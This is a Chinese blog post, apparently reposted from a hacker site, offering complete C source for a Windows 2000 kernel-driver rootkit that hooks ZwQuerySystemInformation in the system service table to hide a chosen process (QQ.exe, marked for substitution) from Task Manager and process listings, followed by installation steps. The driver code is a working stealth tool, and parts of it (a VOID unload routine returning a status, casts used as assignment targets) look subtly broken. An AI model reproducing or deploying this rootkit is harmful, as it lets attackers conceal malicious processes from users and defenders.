用驱动程序实现要保护的程序的进程

近一直在研究rootkit,首先申明我是rootkit的菜鸟哈,也感觉还么有研究得好深。这次我把我练习时写的一个hook 系统 ZwQuerySystemInformation 函数来实现隐藏QQ进程的代码贴上来,也算是为成黑添砖添瓦哦。隐藏了的进程能够被rootkit的检测工具检测出来,但是一般的方法是看不出来的,比如任务管理器,和程序里面列出进程都是看不到的。程序中我已经添加了相关的注释,这里就不多说了。关于这种技术的文章网上有很多,我也只是为自己总结一下吧。代码如下
代码:

//文件名:   hider.c
//  作者:   锦毛鼠(成都黑客在线)HTTP://Www.CduHacker.Com
//  功能:   用驱动程序实现要保护的程序的进程
//  修改:   2005.12.23 开始编写
//  编译:   bulid
//  环境:   win2000sp4+vc6.0+win2000 DDK

#include "ntddk.h"
#include "stdio.h"
#include "stdlib.h"
#include "hider.h"
#define NT_PROCNAMELEN  16
#define PROCNAMELEN     20
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
    unsigned int  *ServiceTableBase;
    unsigned int  *ServiceCounterTableBase; //Used only in checked build
    unsigned int  NumberOfServices;
    unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
//定义一个宏SYSTEMSERVICE(_function)
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
struct _SYSTEM_THREADS
{
    LARGE_INTEGER        KernelTime;
    LARGE_INTEGER        UserTime;
    LARGE_INTEGER        CreateTime;
    ULONG                WaitTime;
    PVOID                StartAddress;
    CLIENT_ID            ClientIs;
    KPRIORITY            Priority;
    KPRIORITY            BasePriority;
    ULONG                ContextSwitchCount;
    ULONG                ThreadState;
    KWAIT_REASON        WaitReason;
};
struct _SYSTEM_PROCESSES
{
    ULONG                NextEntryDelta;
    ULONG                ThreadCount;
    ULONG                Reserved[6];
    LARGE_INTEGER        CreateTime;
    LARGE_INTEGER        UserTime;
    LARGE_INTEGER        KernelTime;
    UNICODE_STRING        ProcessName;
    KPRIORITY            BasePriority;
    ULONG                ProcessId;
    ULONG                InheritedFromProcessId;
    ULONG                HandleCount;
    ULONG                Reserved2[2];
    VM_COUNTERS            VmCounters;
    IO_COUNTERS            IoCounters; //windows 2000 only
    struct _SYSTEM_THREADS        Threads[1];
};
//驱动入口函数DriverEntery
NTSTATUS DriverEntry(
         IN PDRIVER_OBJECT  DriverObject,
         IN PUNICODE_STRING registryPath
         )
{        int i;
        DbgPrint("驱动加载成功..");
        GetProcessNameOffset();
        //注册驱动分发函数
        for (i=1;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
        {
          DbgPrint("MajorFunction..");
          DriverObject->MajorFunction[i]=OnDispatch;
        }
        //注册驱动卸载函数
        DriverObject->DriverUnload=OnUnload;
        OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
         _asm cli
              (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation))= NewZwQuerySystemInformation;
         _asm sti

         return STATUS_SUCCESS;
}
//用户自定义的NewZwQuerySystemInformation
NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength
)
{
    NTSTATUS rc;
    CHAR aProcessName[PROCNAMELEN];      
    GetProcessName( aProcessName );
    rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
            SystemInformationClass,
            SystemInformation,
            SystemInformationLength,
            ReturnLength );
    if( NT_SUCCESS( rc ) )
    {
        // double check the process name, if it starts w/ '_root_' DO NOT
        // apply any stealth
        if(0 == memcmp(aProcessName, "_root_", 6))
        {
            DbgPrint("rootkit: detected system query from _root_ process/n");
        }
        else if( 5 == SystemInformationClass )
        {
            // this is a process list, look for process names that start with
            // '_root_'          
            struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
            struct _SYSTEM_PROCESSES *prev = NULL;
            DbgPrint("rootkit: NewZwQuerySystemInformation() from %s/n", aProcessName);
            while(curr)
            {  
                //struct _SYSTEM_PROCESSES *next = ((char *)curr += curr->NextEntryDelta);
                int bMod = FALSE;
                ANSI_STRING process_name;
                RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE);
                if( (0 < process_name.Length) && (255 > process_name.Length) )
                {
                    if(0 == memcmp( process_name.Buffer, "QQ.exe", 6))    //修改成你要隐藏的程序
                    {
                        //
                        // we have a winner!
                        //
                        char _output[255];
                        char _pname[255];
                        memset(_pname, 0, 255);
                        memcpy(_pname, process_name.Buffer, process_name.Length);
                        sprintf(    _output,
                                    "rootkit: hiding process, pid: %d/tname: %s/r/n",
                                    curr->ProcessId,
                                    _pname);
                        DbgPrint(_output);
                        if(prev)
                        {
                            if(curr->NextEntryDelta)
                            {
                                // make prev skip this entry
                                prev->NextEntryDelta += curr->NextEntryDelta;
                                bMod = TRUE; //flag to say that we have modified
                            }
                            else
                            {
                                // we are last, so make prev the end
                                prev->NextEntryDelta = 0;
                            }
                        }
                        else
                        {
                            if(curr->NextEntryDelta)
                            {
                                // we are first in the list, so move it forward
                                (char *)SystemInformation += curr->NextEntryDelta;
                            }
                            else
                            {
                                // we are the only process!
                                SystemInformation = NULL;
                            }
                        }
                    }
                }
                RtlFreeAnsiString(&process_name);
                prev = curr;
                if(!bMod)
                    prev = curr;
                if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
                else curr = NULL;
            }
        }
    }
    return(rc);
}
//获得程序名字
int GetProcessName( PCHAR theName )
{
    PEPROCESS       curproc;
    char            *nameptr;
    ULONG           i;
    KIRQL           oldirql;
    if( g_ProcessNameOffset )
    {
        curproc = PsGetCurrentProcess();
        nameptr   = (PCHAR) curproc + g_ProcessNameOffset;
        strncpy( theName, nameptr, NT_PROCNAMELEN);
        theName[NT_PROCNAMELEN] = 0; /* NULL at end */
        return TRUE;
    }
    return FALSE;
}
//驱动卸载函数OnUnLoad
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{  
    PDEVICE_OBJECT   p_NextObj;
    PDEVICE_OBJECT     OldDeviceObject;
    p_NextObj=DriverObject->DeviceObject;
    DbgPrint("OnUnload..");
    while (p_NextObj != NULL)
       {
         OldDeviceObject=p_NextObj;
         p_NextObj=p_NextObj->NextDevice;
         IoDeleteDevice(OldDeviceObject);
       }
       _asm cli
              (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;
       _asm sti     
    return STATUS_SUCCESS;
}
//驱动分发函数,隐藏要保护的进程
NTSTATUS OnDispatch(
         IN PDEVICE_OBJECT DeviceObject,
         IN PIRP            Irq
         )
{
        Irq->IoStatus.Status = STATUS_SUCCESS;
         IoCompleteRequest (Irq,IO_NO_INCREMENT);
         return Irq->IoStatus.Status;
}       
//获取函数偏移地址函数GetProcessNameOffset
void     GetProcessNameOffset()
{
   int i;
    PEPROCESS curproc; 
    DbgPrint("GetProcessNameOffset..");
    curproc = PsGetCurrentProcess();
    for( i = 0; i < 3*PAGE_SIZE; i++ )
    {
        if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
        {
            g_ProcessNameOffset = i;
        }
    }
}
hider.h

代码:

//文件名:   hider.h
//  作者:   锦毛鼠(成都黑客在线)HTTP://Www.CduHacker.Com
//  功能:   定义函数,和全局变量
//  修改:   2005.12.23 开始编写
//  编译:   bulid
//  环境:   win2000sp4+vc6.0+win2000 DDK

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
            PVOID SystemInformation,
            ULONG SystemInformationLength,
            PULONG ReturnLength
);
//全局变量部分
ULONG                        g_ProcessNameOffset;
ZWQUERYSYSTEMINFORMATION     OldZwQuerySystemInformation;
//函数定义部分
void     GetProcessNameOffset();
void     OnUnload( IN PDRIVER_OBJECT);
NTSTATUS OnDispatch(IN PDEVICE_OBJECT,IN PIRP);
int     GetProcessName(PCHAR);
NTSTATUS NewZwQuerySystemInformation(IN ULONG SystemInformationClass,IN PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength);
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(
                        IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);
这里是编译好的程序提供下载。
附件的地址在 网站上有
测试方法。
1,先导入注册表,然后复制hider.sys到system32目录下面.
2,重新启动机器.
3,命令提示符下面 "net start hider"
4 ,打开QQ程序
5,打开任务管理器.
这时你就在任务管理器里面看不到qq的进程了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值